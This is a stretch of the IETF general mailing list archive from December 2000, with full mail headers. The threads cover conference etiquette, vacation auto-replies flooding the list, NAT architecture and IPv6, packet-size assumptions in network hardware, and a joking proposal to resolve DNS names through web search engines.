doubt any of the people using such a script are actually not reading their email here. and in any event mailing lists traffice should not generate such a response. thanks joelja On 14 Dec 2000, Sean Doran wrote: > > Thanks for the feedback, public and private. > > It is pretty clear that we attendees should talk to > Qualcomm and Cisco about the disorganization of the social > event. Our individual account team or sales people seem > like good targets for complaints. > > However, wrt queue-jumping, there is a serious qualitative > difference between what some of us are admitting to > (innocently not realizing there ws a queue) and what > happened in the IMAX queue. > > What I observed was this: the elevated red cloth strips > forming the "walls" of the serpentine line to the IMAX > show seemed to attract a sizable handful of people who > realized that they can be "ducked under", or indeed, > dismantled. > > I am sad to say that I saw this frequently while I was in > one or the other corner near the IMAX theatre exit doors. > > When some friends and I pointed out to people doing this > queue-jumping that they were being unfair to everyone else > (who were suffering from the same disorganization), > approximately 3/4 of the people in question left the queue > and rejoined it at the back. Others required firmer > persuasion, and a few required a threat of exposure on > this mailing list before un-jumping from the queue. > > There were only FOUR people who refused to leave the > queue. None offered an excuse (such as, I was just > throwing away some garbage, or getting drinks for my > friends here). They simply stayed in place, apparently > not caring that they cut in ahead of hundreds of people > who followed normal rules most of us learned as children. > > Two of these people were wearing their IETF conference badges. > One was identified by several people nearby, who recognized her. > One guy not only said "go ahead and name me", he attempted to > identify himself AS SOMEONE ELSE, by handing over another > person's business card. To this person: WE KNOW WHO YOU ARE NOW. > > I believe at least some of this is unacceptable behaviour > that cannot be overlooked simply by virtue of general > disorganization or industry competitiveness, and look for > guidance about how we should (collectively) police such > poorly-socialized people, if at all. > > Sean. > -- -------------------------------------------------------------------------- Joel Jaeggli joelja@darkwing.uoregon.edu Academic User Services consult@gladstone.uoregon.edu PGP Key Fingerprint: 1DE9 8FCA 51FB 4195 B42A 9C32 A30D 121E -------------------------------------------------------------------------- It is clear that the arm of criticism cannot replace the criticism of arms. Karl Marx -- Introduction to the critique of Hegel's Philosophy of the right, 1843. From owner-ietf-outbound Wed Dec 13 23:20:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA24629 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 23:20:03 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA22591 for ; Wed, 13 Dec 2000 23:13:48 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBE4DnO13290 for ietf@ietf.org env-from ; Wed, 13 Dec 2000 21:13:49 -0700 (MST) Date: Wed, 13 Dec 2000 21:13:49 -0700 (MST) From: Vernon Schryver Message-Id: <200012140413.eBE4DnO13290@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) X-Loop: ietf@ietf.org > From: Joel Jaeggli > Another common curtesy issue this thread has raised is vacation scripts... > > I've recieved 3 dozen or so responses from people on the mailing list who > have automated vacation scripts. Please if you must use a vaction script > on your mail either unsubscribe from the mailing list while you're gone, > use procmail to filter your lists so they don't get caught by your > vacation script, or just don't use vacation... It's far from all vacation mechanisms that do the evil deed. If you look at the headers, you'll almost certainly find a telltale line of the form: X-Mailer: Internet Mail Service (... All ordinary submissions with that black mark should be rejected. All requests sent to IETF list control addresses should be interpreted as unsubscribe requests. This would not purge the lists of the current abusers (those who insist on using that junkware and abusing the rest of us), but it would reduce their proliferation and encourage some to switch reasonable MUA's. If the IETF doesn't try to enforce minimal standards where it affects the business of the IETF, then the junkware vendors will never bother to fix their junk. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Wed Dec 13 23:40:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA29744 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 23:40:04 -0500 (EST) Received: from localhost.localdomain (ietf.207.137.72.181.tx.verio.net [207.137.72.181]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA27586 for ; Wed, 13 Dec 2000 23:31:12 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBE4ZYr18390 for ; Wed, 13 Dec 2000 23:35:35 -0500 Sender: francis@localhost.localdomain Message-ID: <3A384E15.FA4807FD@ecal.com> Date: Wed, 13 Dec 2000 23:35:33 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Joel Jaeggli wrote: > in any event mailing lists traffice should not generate such a response. Anybody from the Exchange team listening? Nearly all the offenders are using Exchange. It doesn't make MS look good. :-) -- /==============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own.| |Chief Scientist |=============================================| |eCal Corp. |"I think we'd get fewer bug reports if we | |francis@ecal.com|stopped selling our software off planet." | \==============================================================/ From owner-ietf-outbound Thu Dec 14 00:10:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA09987 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 00:10:05 -0500 (EST) Received: from newsguy.com (smtp.newsguy.com [209.155.56.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA04421 for ; Wed, 13 Dec 2000 23:54:59 -0500 (EST) Received: from 207-103-71-212-cpadsl.cpadsl.voicenet.com (207-103-71-212-cpadsl.cpadsl.voicenet.com [207.103.71.212]) by newsguy.com (8.11.0/8.9.1) with SMTP id eBE4qYM31142 for ; Wed, 13 Dec 2000 20:52:34 -0800 (PST) From: Ted Gavin To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) Date: Wed, 13 Dec 2000 23:49:58 -0500 Organization: Institute for the Very, Very Nervous Reply-To: tedgavin@newsguy.com Message-ID: References: <200012140413.eBE4DnO13290@calcite.rhyolite.com> In-Reply-To: <200012140413.eBE4DnO13290@calcite.rhyolite.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id XAA04421 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit On Wed, 13 Dec 2000 21:13:49 -0700 (MST), Vernon Schryver wrote: >> From: Joel Jaeggli > >> Another common curtesy issue this thread has raised is vacation scripts... >> >> I've recieved 3 dozen or so responses from people on the mailing list who >> have automated vacation scripts. Please if you must use a vaction script >> on your mail either unsubscribe from the mailing list while you're gone, >> use procmail to filter your lists so they don't get caught by your >> vacation script, or just don't use vacation... > > >It's far from all vacation mechanisms that do the evil deed. If you look >at the headers, you'll almost certainly find a telltale line of the form: > > X-Mailer: Internet Mail Service (... Don't blame the product - in this case the blame rests firmly upon the user. I used that product for years and managed to avoid spamming this or any other list with useless information about my travel schedule. If users would try testing their rules before trusting their own abilities, they might spot the mistakes. >If the IETF doesn't try to enforce minimal standards where it >affects the business of the IETF, then the junkware vendors will >never bother to fix their junk. I remember having a similar perspective once - when I blackholed every free e-mail service I could find from our systems, so we weren't subjected to their high volume of spam. Of course, none of our customers on hotmail could e-mail us, but... Ted Gavin http://member.newsguy.com/~tedgavin ------------------------------------------------------------ "Hackers love PERL like they love their family dog." -read in "Database Processing" by David M. Kroenke From owner-ietf-outbound Thu Dec 14 00:20:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA13975 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 00:20:04 -0500 (EST) Received: from mail-4.sjc.telocity.net (mail-4.sjc.telocity.net [216.227.56.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA06787 for ; Thu, 14 Dec 2000 00:02:16 -0500 (EST) Received: from charlene (dsl-64-192-12-69.telocity.com [64.192.12.69]) by mail-4.sjc.telocity.net (8.9.3/8.9.3) with SMTP id VAA19942 for ; Wed, 13 Dec 2000 21:01:06 -0800 (PST) Message-ID: <00a701c0658a$a10167d0$0100000a@charlene> From: "Michael B. Roetto" To: References: <20001213133003.E15958@laneandmimi.com> Subject: Re: 49th-IETF conf room planning Date: Wed, 13 Dec 2000 22:59:23 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit may i suggest New Orleans as a possible location? Afaik, there's been no IETF here. The city has ample hotel/convention space plus the amenities of the French Quarter; always a fave. Also, good air connects within the USA,etc. /m/ ----- Original Message ----- From: "Lane Patterson" To: Sent: Wednesday, December 13, 2000 3:30 PM Subject: 49th-IETF conf room planning > This has likely been proposed previously, but I would like to > raise the topic of mapping adequate conf rooms to WGs and BOFs. > I have now attended 3 WGs that had to turn away attendees due > to extreme lack of space, and several others that had plenty of > extra unutilized space. > > Would the IETF organizers consider requesting WG/BOF attendance > plans upon registration? Are there other suggestions for > improvement in this process? > > Respectfully, > -Lane From owner-ietf-outbound Thu Dec 14 00:30:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA18407 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 00:30:05 -0500 (EST) Received: from sayshell.research.uu.net (sayshell.research.uu.net [63.87.62.90]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA11394 for ; Thu, 14 Dec 2000 00:13:49 -0500 (EST) Received: from sayshell.research.uu.net (localhost [127.0.0.1]) by sayshell.research.uu.net (8.11.1/8.11.0) with ESMTP id eBE5Djr23376; Thu, 14 Dec 2000 00:13:45 -0500 (EST) (envelope-from louie@sayshell.research.uu.net) X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0 To: narakamath@lightel.com cc: ietf@ietf.org From: "Louis A. Mamakos" Subject: Re: IP Packet size In-reply-to: <20001213133122.1174.cpmta@c014.sfo.cp.net> References: <20001213133122.1174.cpmta@c014.sfo.cp.net> Comments: In-reply-to narakamath@lightel.com message dated "13 Dec 2000 05:31:22 -0800." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 14 Dec 2000 00:13:44 -0500 Message-ID: <23373.976770824@sayshell.research.uu.net> Sender: louie@sayshell.research.uu.net X-Loop: ietf@ietf.org [Sigh. Please wrap your lines!] > I am in the process of designing and developing a next generation network > product line. These discussions on packet sizes and other related topics > have been of immense value to me. Thanks much and keep it up. Of course, any assumptions you make on packet sizes, TCP connection behavior and the like are great until there's some application shift that comes out of nowhere that invalidates those assumptions. If your next generation network product line now can't handle the load, well then, you've got some real unhappy customers. Recall that http traffic went from essentially unobservable to one of the dominant types of traffic on the public internet in a span of time measured in months. Clever hardware that had assumptions about TCP connection behavior/durations and how that related in cache sizes were now in deep trouble. What's the next application type that's going to surprise us? Consider the effect of NAPSTER and other peer-to-peer based applications and how that challanges some basic assumptions on how asymmetric end-user traffic volume is. As a customer of much bleeding edge network hardware, when a vendor asks me about the average packet size of the traffic on my network, I know that I'm about to hear some bad news, excuses or qualifcation of the forthcoming peformance numbers. And of course an ISP has essentially no way to influence this distribution of packet sizes since it's the users that choose the applications they're gonna run. -- Louis A. Mamakos louie@uu.net From owner-ietf-outbound Thu Dec 14 00:50:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA26488 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 00:50:03 -0500 (EST) Received: from localhost.localdomain (ietf.207.137.72.181.tx.verio.net [207.137.72.181]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA23720 for ; Thu, 14 Dec 2000 00:43:20 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBE5l4r18554 for ; Thu, 14 Dec 2000 00:47:04 -0500 Sender: francis@localhost.localdomain Message-ID: <3A385ED4.C3F9AD03@ecal.com> Date: Thu, 14 Dec 2000 00:47:00 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) References: <200012140413.eBE4DnO13290@calcite.rhyolite.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Ted Gavin wrote: > > X-Mailer: Internet Mail Service (... > > Don't blame the product - in this case the blame rests firmly upon the > user. I used that product for years and managed to avoid spamming this > or any other list with useless information about my travel schedule. Yes, but why is it almost always that product? Maybe other products are smart enough not to reply if the recipient's address isn't in the headers? -- /=================================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |================================================| |eCal Corp. |World domination should never be left to chance.| |francis@ecal.com| | \=================================================================/ From owner-ietf-outbound Thu Dec 14 02:00:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA26739 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 02:00:03 -0500 (EST) Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA25366 for ; Thu, 14 Dec 2000 01:55:47 -0500 (EST) Received: by sean.ebone.net (Postfix, from userid 1113) id 312A6898; Thu, 14 Dec 2000 07:55:48 +0100 (CET) To: ietf@ietf.org Subject: NATs *ARE* evil! Cc: iab@iab.org Message-Id: <20001214065548.312A6898@sean.ebone.net> Date: Thu, 14 Dec 2000 07:55:48 +0100 (CET) From: smd@ebone.net (Sean Doran) X-Loop: ietf@ietf.org Hi - I should have waited until Perry had spoken, because now that he has pointed out the extreme cost of NAT, I have seen the light! NATs are expensive. They have gross side-effects. Even Noel Chiappa, my guru, says that they are an architectural hack. So, why are people deploying them? They are so awful, that it must only happen when people have NO OTHER OPTION. So, I have to wonder, why is it that they have no option? Isn't it the job of the Internet Architecture Board to be addressing this serious problem, since the IETF's solution doesn't seem to be working??? Sean. From owner-ietf-outbound Thu Dec 14 04:00:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA02794 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 04:00:02 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA01292 for ; Thu, 14 Dec 2000 03:53:08 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id DAA11391; Thu, 14 Dec 2000 03:53:06 -0500 Date: Thu, 14 Dec 2000 03:53:06 -0500 From: "J. Noel Chiappa" Message-Id: <200012140853.DAA11391@ginger.lcs.mit.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! Cc: jnc@ginger.lcs.mit.edu, smd@ebone.net X-Loop: ietf@ietf.org > From: smd@ebone.net (Sean Doran) > Even Noel Chiappa ... says that they are an architectural hack. Let me expand on this a teensy bit. As currently used, NAT boxes are a severe architectural ugliness. Were we to i) incrementally deploy and start using new globally unique namespace(s) [either a single one functioning much as IPv4 addresses functioned originaly, or, as many of us think would be wise, two separate ones, one to identify entities for end-end communication and another to give topologically related names to communication devices], and then ii) reinterpret the 32-bit fields as "local forwarding tags", then NAT boxes would cease to be an architectural ugliness, and become merely engineering ugliness. "I trust I make myself obscure." (And a tip of the hatly hat to anyone who recognizes the source of that quotation... :-) Noel From owner-ietf-outbound Thu Dec 14 05:10:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id FAA17790 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 05:10:02 -0500 (EST) Received: from blr.vsnl.net.in (blr.vsnl.net.in [202.54.12.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16458 for ; Thu, 14 Dec 2000 05:03:31 -0500 (EST) Received: from uiscpl (PPP-178-202.bng.vsnl.net.in [203.197.178.202]) by blr.vsnl.net.in (Postfix) with SMTP id ACB2D5E505 for ; Thu, 14 Dec 2000 15:27:26 +0530 (IST) Received: from 192.9.200.83 [192.9.200.83] by uiscpl (1.61/SMTPD) at Thu, 14 Dec 00 15:30:00 India Message-ID: <36247699.A6E97E44@uiscpl.com> Date: Wed, 14 Oct 1998 15:32:01 +0530 From: "saurabh" X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: RMON Agent Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Gateway: --->> pop@GIFT - POP3/SMTP Gateway 5.0 for GIFTmail <<--- Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Hello Everybody, Can anybody tell me , from where can i get an RMON agent. I need it badly. thnqs in anticipation, Saurabh Dave From owner-ietf-outbound Thu Dec 14 08:50:43 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA23607 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 08:50:02 -0500 (EST) Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA22954 for ; Thu, 14 Dec 2000 08:47:03 -0500 (EST) Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP id ; Thu, 14 Dec 2000 13:46:53 +0000 To: smd@ebone.net (Sean Doran) cc: ietf@ietf.org, iab@ISI.EDU Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Thu, 14 Dec 2000 07:55:48 +0100." <20001214065548.312A6898@sean.ebone.net> Date: Thu, 14 Dec 2000 13:46:51 +0000 Message-ID: <3963.976801611@cs.ucl.ac.uk> From: Jon Crowcroft X-Loop: ietf@ietf.org Sean, there were several interesting talks in the ietf plenary last night and i'd also like to respond 1/ randy's "woah, the DNS is bust" talk solution - put your named boot file on your web server and set up robots.txt right get the 15 or so most popular search engines to start pulling it add an option to name resolution libraries to use http and google/altavista/bla blah to lookup name/address bindings (i.e. replace lookup with search and update with web crawl - you can also make your dns update hapen faster by articficially hyping the searches - yo ucan even include advertisements in the responses) positive points i) there are too many levels in the DNS server hierartchy - the name hierarchy is important, but there is no reaso nto have multiple levels in the server hierarchy - once upoj a time it was needed for some scaling (localisation) of traffic - dns traffic is irrelvant compared with web, so there's no problem doing it with 2 levels local/global - also, the caching isnt working (as per randy and christian huitema's work) anyhow so the localisdtion effects merely add latency to lookups i nthe current system ii) there's lots of differt code for differ nt search enginees this means we have a decent gene pool size compared with the DNS server space where there's a good chance that like BGP, we are dead in the water come the first new disease that we have no immunity too... 2/ NATs - i thought the comment was that there are too may ways of architecting NATs which made it expensivce to buy one coz most the NAT box builders are busy implementing all the varireities which makes them complex instead of simple - two solutions i) no ietf standards effort should continue after we have 3 approaches to a problem - given NAT, IP tunnels and mpls have about 7, 14 and 143 different approaches, this is evidentially a good heuristic for pruning pointless ietf wgs - of course those mpls watchers amongst us may have noticed that this is happening there.... (note this doesn't invalidate my approach to fixing name serving about since that is a single architecture buyt with lots of differnt detaield implemtnation approaches) 3/ internationalisation - its clear that we are making great progress - the gentleman from the ITU made it clear in his speaking that are much better at understanding christian huitema which is a great breakthrough... 4/ those of you who saw geoff huston's excellent "the bgp is hosed" talk at the routing area meeting, and its excerpted comments in the plenary should be very afraid - i did a search on a citation database on routing research - not to see what work has been done recently on ways to solve inter-domain scaling, convergence and correctness problems (though craig labovitz work is distinguised there by both its quality, and its loneliness!), but also to see if there was any indication that there was research in universities and research labs that was runnign at a level that might indicate clueful people coming out of their grad schools ready to solve our problems - there isnt. the research funding agents should be blamed for this:-) (note that i am not talking about graph theoertizcians - more the mit/berkeley/usc type research work that is done in a real world context) note that a major problem with the little wortk that is done is that its not often done in realistic topologies - this is a problem with ISPs who wont let people get at the data (or the traffic traces) so with a few honourable exceptions, most the smart people trying to do new stuff go on to other areas where there aren;t intractable barriers to doig the experimental verficaition of the idea (e.g. transport:-) cheers jon p.s. pierro de la francesca or vermeer make better gurus, but if you want to read about routing and addressing and what we ccould have done for ipng, i like paul francis' phd work: (linked from http://www.cs.ucl.ac.uk/staff/jon/paststudents.html so you can see my bias:-) it elegantly included some ideas from nimrod, but had some pragmatic implementation decisions whioch made it fast and simple and flexible - it emerged as pip, but was about 95% pruned out in the final v6 decisions... From owner-ietf-outbound Thu Dec 14 09:30:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA02126 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 09:30:02 -0500 (EST) Received: from mx01-a.netapp.com ([198.95.226.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA01433 for ; Thu, 14 Dec 2000 09:26:56 -0500 (EST) Received: from frejya.corp.netapp.com (frejya.corp.netapp.com [10.10.20.91]) by mx01-a.netapp.com (8.11.1/8.11.1/NTAP-1.2) with ESMTP id eBEEQRD20061 for ; Thu, 14 Dec 2000 06:26:27 -0800 (PST) Received: from johnm.netapp.com (localhost [127.0.0.1]) by frejya.corp.netapp.com (8.11.1/8.11.1/NTAP-1.2) with ESMTP id eBEEQNB20240 for ; Thu, 14 Dec 2000 06:26:23 -0800 (PST) Message-Id: <4.3.2.7.2.20001214152411.07509130@pop.netapp.com> X-Sender: jmartin@pop.netapp.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 14 Dec 2000 15:26:58 +0100 To: ietf@ietf.org From: John Martin Subject: Re: guidance (re: social event politeness) In-Reply-To: <3A385ED4.C3F9AD03@ecal.com> References: <200012140413.eBE4DnO13290@calcite.rhyolite.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org ...and speaking of bad manners, I noticed that there is a resurgence of people talking mobile-phone calls in meetings. I was only there for one day but it happened twice in three meetings. Another annoyance is those who allow it to ring and then cancel the call (presumably using CLI or something). This is not as bad but still pretty disruptive, particularly for the person speaking at the time. Please switch them off. You shouldn't need to be asked. John --------------------------------------------------------------- Network Appliance Direct / Voicemail: +31 23 567 9615 Kruisweg 799 Fax: +31 23 567 9699 NL-2132 NG Hoofddorp Main Office: +31 23 567 9600 --------------------------------------------------------------- From owner-ietf-outbound Thu Dec 14 10:20:50 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA09808 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 10:20:03 -0500 (EST) Received: from newsguy.com (smtp.newsguy.com [209.155.56.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09338 for ; Thu, 14 Dec 2000 10:17:57 -0500 (EST) Received: from 207-103-71-212-cpadsl.cpadsl.voicenet.com (207-103-71-212-cpadsl.cpadsl.voicenet.com [207.103.71.212]) by newsguy.com (8.11.0/8.9.1) with SMTP id eBEFFSM03476 for ; Thu, 14 Dec 2000 07:15:30 -0800 (PST) From: Ted Gavin To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) Date: Thu, 14 Dec 2000 10:09:35 -0500 Organization: Institute for the Very, Very Nervous Reply-To: tedgavin@newsguy.com Message-ID: References: <200012140413.eBE4DnO13290@calcite.rhyolite.com> <3A385ED4.C3F9AD03@ecal.com> In-Reply-To: <3A385ED4.C3F9AD03@ecal.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA09338 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit On Thu, 14 Dec 2000 00:47:00 -0500, John Stracke wrote: >Ted Gavin wrote: > >> > X-Mailer: Internet Mail Service (... >> >> Don't blame the product - in this case the blame rests firmly upon the >> user. I used that product for years and managed to avoid spamming this >> or any other list with useless information about my travel schedule. > >Yes, but why is it almost always that product? Maybe other products are smart >enough not to reply if the recipient's address isn't in the headers? IMNSHO, because $BIG_SOFTWARE_COMPANY markets their products with the focus of making life "easier" for the user. The product in question is, by far, one of the easier ones to get working (from the client perspective). It is not, however, all that simple to get it working "Correctly", as we have all experienced. With that model, $SOFTWARE contributes to the "dumbing down" of the userbase. If the six people who, as of the time I sent the first message, had used a mailer that required more knowledge to configure to even a basic level of operation, chances are that they would have gotten the Auto-Annoy feature configured properly. And if they couldn't, they would have at least RTFMmed or not bothered in the first place. My inclination is to send the auto-reply to the abuse@ and postmaster@ accounts for each of the respective domains, and inform them that a few specific users, WHO OUGHT TO KNOW BETTER, require some additional instruction on how to use their e-mail client. Ted Gavin http://member.newsguy.com/~tedgavin ------------------------------------------------------------ "Will highways on the internet become more few?" - George W. Bush From owner-ietf-outbound Thu Dec 14 11:30:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA24970 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 11:30:03 -0500 (EST) Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA24867 for ; Thu, 14 Dec 2000 11:29:41 -0500 (EST) Received: from condryvaio-desk.intel.com (jflrvguser-144.jf.intel.com [10.7.248.163]) by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.33 2000/11/21 19:27:27 smothers Exp $) with ESMTP id IAA22371; Thu, 14 Dec 2000 08:29:25 -0800 (PST) Message-Id: <5.0.2.1.2.20001214082650.00ad2438@FMSMSX63.fm.intel.com> X-Sender: mwcondry@FMSMSX63.fm.intel.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 14 Dec 2000 08:27:07 -0800 To: smd@ebone.net (Sean Doran), ietf@ietf.org From: "Michael W. Condry" Subject: Re: NATs *ARE* evil! Cc: iab@iab.org In-Reply-To: <20001214065548.312A6898@sean.ebone.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org You do not consider IPv6 an option? At 07:55 AM 12/14/2000 +0100, Sean Doran wrote: >Hi - > >I should have waited until Perry had spoken, because now that he has >pointed out the extreme cost of NAT, I have seen the light! > >NATs are expensive. They have gross side-effects. Even Noel Chiappa, >my guru, says that they are an architectural hack. > >So, why are people deploying them? > >They are so awful, that it must only happen when people have NO OTHER OPTION. > >So, I have to wonder, why is it that they have no option? >Isn't it the job of the Internet Architecture Board to be addressing >this serious problem, since the IETF's solution doesn't seem to be working??? > > Sean. Michael W. Condry Director, Internet Strategy 2111 N.E. 25th Ave. JF3-206 Hillsboro, OR 97124-5961 Phone: (503) 264-9019 FAX: (503) 264-3483 Email: condry@intel.com From owner-ietf-outbound Thu Dec 14 11:40:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA27724 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 11:40:04 -0500 (EST) Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA25501 for ; Thu, 14 Dec 2000 11:31:41 -0500 (EST) Received: from localhost (dennisg@localhost) by btw.plaintalk.bellevue.wa.us (8.11.1/8.11.1) with ESMTP id eBEGUFv49576; Thu, 14 Dec 2000 08:30:15 -0800 (PST) Date: Thu, 14 Dec 2000 08:30:15 -0800 (PST) From: Dennis Glatting X-Sender: dennisg@btw.plaintalk.bellevue.wa.us To: Sean Doran cc: ietf@ietf.org, iab@iab.org Subject: Re: NATs *ARE* evil! In-Reply-To: <20001214065548.312A6898@sean.ebone.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Thu, 14 Dec 2000, Sean Doran wrote: > So, why are people deploying them? > Just to name two... 1) With NAT I ask for much smaller address spaces. Consequently, I don't have to disclose my network details, deployment is less likely to be delayed, and both my non-recurring and recurring cost is lower. 2) I don't have to renumber my entire enterprise should I change service providers, rather only the Internet interface devices. True IPv6 *may* change this if it is ever routed across the Internet, all of my vendors incorporate IPv6 into their products, and everyone on the Internet changes their equipment, too (sans IPv4/IPv6 gateways). From owner-ietf-outbound Thu Dec 14 13:51:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA14428 for ietf-outbound.10@ietf.org; Thu, 14 Dec 2000 13:50:02 -0500 (EST) Received: from rottweiler.cwusa.com (rottweiler-dmz.cwusa.com [146.135.88.50]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA13116 for ; Thu, 14 Dec 2000 13:39:23 -0500 (EST) Received: from us-cwi-exc-a10.cwusa.com (us-cwi-exc-a10.cwusa.com [146.135.85.143]) by rottweiler.cwusa.com (8.9.1/8.9.1) with ESMTP id NAA01536; Thu, 14 Dec 2000 13:38:43 -0500 (EST) Received: by us-cwi-exc-a10.cwi.cablew.com with Internet Mail Service (5.5.2653.19) id ; Thu, 14 Dec 2000 13:38:42 -0500 Message-ID: From: "Book, Robert" To: "'Vernon Schryver'" , ietf@ietf.org Subject: RE: guidance (re: social event politeness) Date: Thu, 14 Dec 2000 13:38:41 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Look, over a year ago, I was made painfully aware of the of the automated vacation notice propagating emails to members of lists. It was never my intent to inconvenience anyone by using the vacation notices function, rather just the opposite. I'm an Outlook user as it's the corporate standard on PCs and I would welcome information concerning any other mail package that would interact appropriately with an Outlook Exchange server that would include the capability to specify email ids which would be excepted from the automatic response function. It is plainly evident that Microsoft considers the inconvenience of the IETF, and other similarly organized groups, and the resultant negation of the value of this feature as small potatoes. Just how many lines of code and hours of testing would it take to make this a smooth feature? Probably not as many as have been lost for all the people who have had to deal the effluent. -----Original Message----- From: Vernon Schryver 